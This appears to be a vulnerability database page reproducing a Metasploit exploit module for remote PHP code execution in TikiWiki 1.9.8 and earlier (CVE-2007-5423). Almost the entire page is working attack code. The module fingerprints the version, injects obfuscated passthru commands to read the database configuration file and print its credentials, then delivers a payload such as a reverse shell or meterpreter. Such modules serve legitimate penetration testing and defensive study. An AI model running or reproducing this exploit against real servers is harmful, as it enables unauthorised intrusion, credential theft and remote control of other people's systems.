TikiWiki tiki-graph_formula Remote PHP Code Execution

2009-07-21T15:20:35
ID MSF:EXPLOIT/UNIX/WEBAPP/TIKIWIKI_GRAPH_FORMULA_EXEC
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

TikiWiki (<= 1.9.8) contains a flaw that may allow a remote attacker to execute arbitrary PHP code. The issue is due to 'tiki-graph_formula.php' script not properly sanitizing user input supplied to create_function(), which may allow a remote attacker to execute arbitrary PHP code resulting in a loss of integrity.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'TikiWiki tiki-graph_formula Remote PHP Code Execution',
      'Description'    =&gt; %q{
          TikiWiki (&lt;= 1.9.8) contains a flaw that may allow a remote
        attacker to execute arbitrary PHP code.  The issue is due to
        'tiki-graph_formula.php' script not properly sanitizing user
        input supplied to create_function(), which may allow a remote
        attacker to execute arbitrary PHP code resulting in a loss of
        integrity.
      },
      'Author'         =&gt; [ 'Matteo Cantoni &lt;goony[at]nothink.org&gt;', 'jduck' ],
      'License'        =&gt; MSF_LICENSE,
      'References'     =&gt;
        [
          ['CVE', '2007-5423'],
          ['OSVDB', '40478'],
          ['BID', '26006'],
        ],
      'Privileged'     =&gt; false,
      'Payload'        =&gt;
        {
          'DisableNops' =&gt; true,
          # 6k.  Really it's the max length of a URI minus the junk
          # we have to put in the request to trigger the
          # vulnerability.  On Apache, 8190 is the max, so this
          # should be a pretty safe value.
          'Space'       =&gt; 6144,
          # Yes, 'x' is a badchar.  The vulnerable code replaces it with '$x'.
          'BadChars'    =&gt; "`\"' %&x",
        },
      'Platform'       =&gt; 'php',
      'Arch'           =&gt; ARCH_PHP,
      'Targets'        =&gt; [[ 'Automatic', { }]],
      'DisclosureDate' =&gt; 'Oct 10 2007',
      'DefaultTarget'  =&gt; 0))

    register_options(
      [
        OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki"]),
      ])
  end

  def check
    res = send_request_raw(
      {
        'uri'     =&gt; normalize_uri(datastore['URI'], "/tiki-index.php"),
        'method'  =&gt; 'GET',
        'headers' =&gt;
          {
            'User-Agent' =&gt; 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
            'Connection' =&gt; 'Close',
          }
      }, 5)

    http_fingerprint({ :response =&gt; res })  # check method

    if (res and res.code == 200 and res.body.match(/TikiWiki v?([0-9\.]*)/))
      ver = $1
      #print_status("Detected TikiWiki version #{ver}")
      ver = ver.split('.')
      return Exploit::CheckCode::Safe if (ver[0] != '1')
      return Exploit::CheckCode::Safe if (ver[1] != '9')
      if (ver.length &gt; 2)
        ver2 = ver[2].to_i
        if (ver.length &gt; 3)
          ver3 = ver[3].to_i
        else
          ver3 = 0
        end
        return Exploit::CheckCode::Safe if (ver2 &gt; 8)
        return Exploit::CheckCode::Safe if (ver2 == 8 and ver3 &gt; 0)
      end
      return Exploit::CheckCode::Appears
    end
    Exploit::CheckCode::Safe
  end

  def exploit

    print_status("Attempting to obtain database credentials...")
    url_db_local = build_uri("passthru(" +
      "chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)." +  # echo YYY
      "chr(59)." +  # ;
      # cat db/local.php
      "chr(99).chr(97).chr(116).chr(32).chr(100).chr(98).chr(47).chr(108).chr(111).chr(99).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112)." +
      "chr(59)." +  # ;
      "chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)" +   # echo YYY
      ")")
    res = send_request_raw({
      'uri'     =&gt; url_db_local,
      'method'  =&gt; 'GET',
      'headers' =&gt;
        {
          'User-Agent' =&gt; 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
          'Connection' =&gt; 'Close',
        }
      }, 5)
    if (res and res.message == "OK" and res.body)
      print_status("The server returned            : #{res.code} #{res.message}")
      print_status("Server version                 : #{res.headers['Server']}")

      db_tiki   = res.body.match(/db_tiki='(.*?)';/m)
      if (db_tiki)
        dbversion = res.body.match(/dbversion_tiki='(.*?)';/m)
        host_tiki = res.body.match(/host_tiki='(.*?)';/m)
        user_tiki = res.body.match(/user_tiki='(.*?)';/m)
        pass_tiki = res.body.match(/pass_tiki='(.*?)';/m)
        dbs_tiki  = res.body.match(/dbs_tiki='(.*?)';/m)

        print_status("TikiWiki database informations : \n")

        print("db_tiki   : " + db_tiki[1]   + "\n")
        print("dbversion : " + dbversion[1] + "\n")
        print("host_tiki : " + host_tiki[1] + "\n")
        print("user_tiki : " + user_tiki[1] + "\n")
        print("pass_tiki : " + pass_tiki[1] + "\n")
        print("dbs_tiki  : " + dbs_tiki[1]  + "\n\n")
      end
    else
      print_status("No response from the server")
    end


    print_status("Attempting to execute our payload...")
    command = Rex::Text.uri_encode(payload.encoded)
    url_cmd = build_uri(payload.encoded)
    res = send_request_raw({
      'uri'     =&gt; url_cmd,
      'method'  =&gt; 'GET',
      'headers' =&gt;
        {
          'User-Agent' =&gt; 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
          'Connection' =&gt; 'Close',
        }
      }, 5)
  end

  #
  # This function will build a fairly randomish query string to be used
  # when exploiting this vulnerability :)
  #
  def build_uri(f_val)
    uri = normalize_uri(datastore['URI'], "/tiki-graph_formula.php?")

    # Requirements:
    query = ''

    # 1. w,h,s,min,max must all be numeric
    vars = %w{ w h s min max }
    min = nil
    vars.each { |el|
      query &lt;&lt; "&" if query.length &gt; 0
      num = 1+rand(999)
      # 2. min must be less than max
      case el
      when 's'
        num = 1+rand(500)
      when 'min'
        if (min)
          num = min
        else
          min = num
        end
      when 'max'
        min ||= num
        num = min + 1 + rand(99)
      end
      query &lt;&lt; "#{el}=#{num}"
    }

    # 3. cannot use `, ', ", or space
    if (f_val.index('\'') or f_val.index('"') or f_val.index('`') or f_val.index(' '))
      fail_with(Failure::Unknown, "The value for the 'f' variable contains an invalid character!")
    end

    # 4. the function must be one of:
    valid = %w{
      abs acos acosh asin asinh atan2 atan atanh ceil cos cosh deg2rad
      exp expm1 floor fmod hypot log10 log1p log max min pi pow rad2deg round sin
      sinh sqrt tan tanh
    }
    func = valid[rand(valid.length)]

    # 5. f must be an array
    query &lt;&lt; "&" if query.length &gt; 0

    # Strip off the semi-colon that the encoder insists on including.
    if f_val[-1,1] == ";"
      f_val = f_val[0,f_val.length-1]
    end
    query &lt;&lt; "f[]=x.#{func}.#{f_val}"

    # This doesn't seem to be necessary on PHP 5.2.4, tikiwiki 1.9.5
    # Tested with php/reverse_php, php/meterpreter_reverse_tcp, and
    # php/meterpreter/reverse_tcp
    #  -egypt
    # If we dont kill php here it spins eating 100% cpu :-/
    #query &lt;&lt; '.die()'

    # 6. two options for 't' - png and pdf
    #    - png requires php's gd extension
    #    - pdf, if you set 'p', requires php pdf extension
    #  -- we always use 'pdf' with a null 'p'
    query &lt;&lt; "&" if query.length &gt; 0
    query &lt;&lt; 't=pdf'

    # 7. title must be set
    query &lt;&lt; '&title='

    uri &lt;&lt; query
    uri
  end
end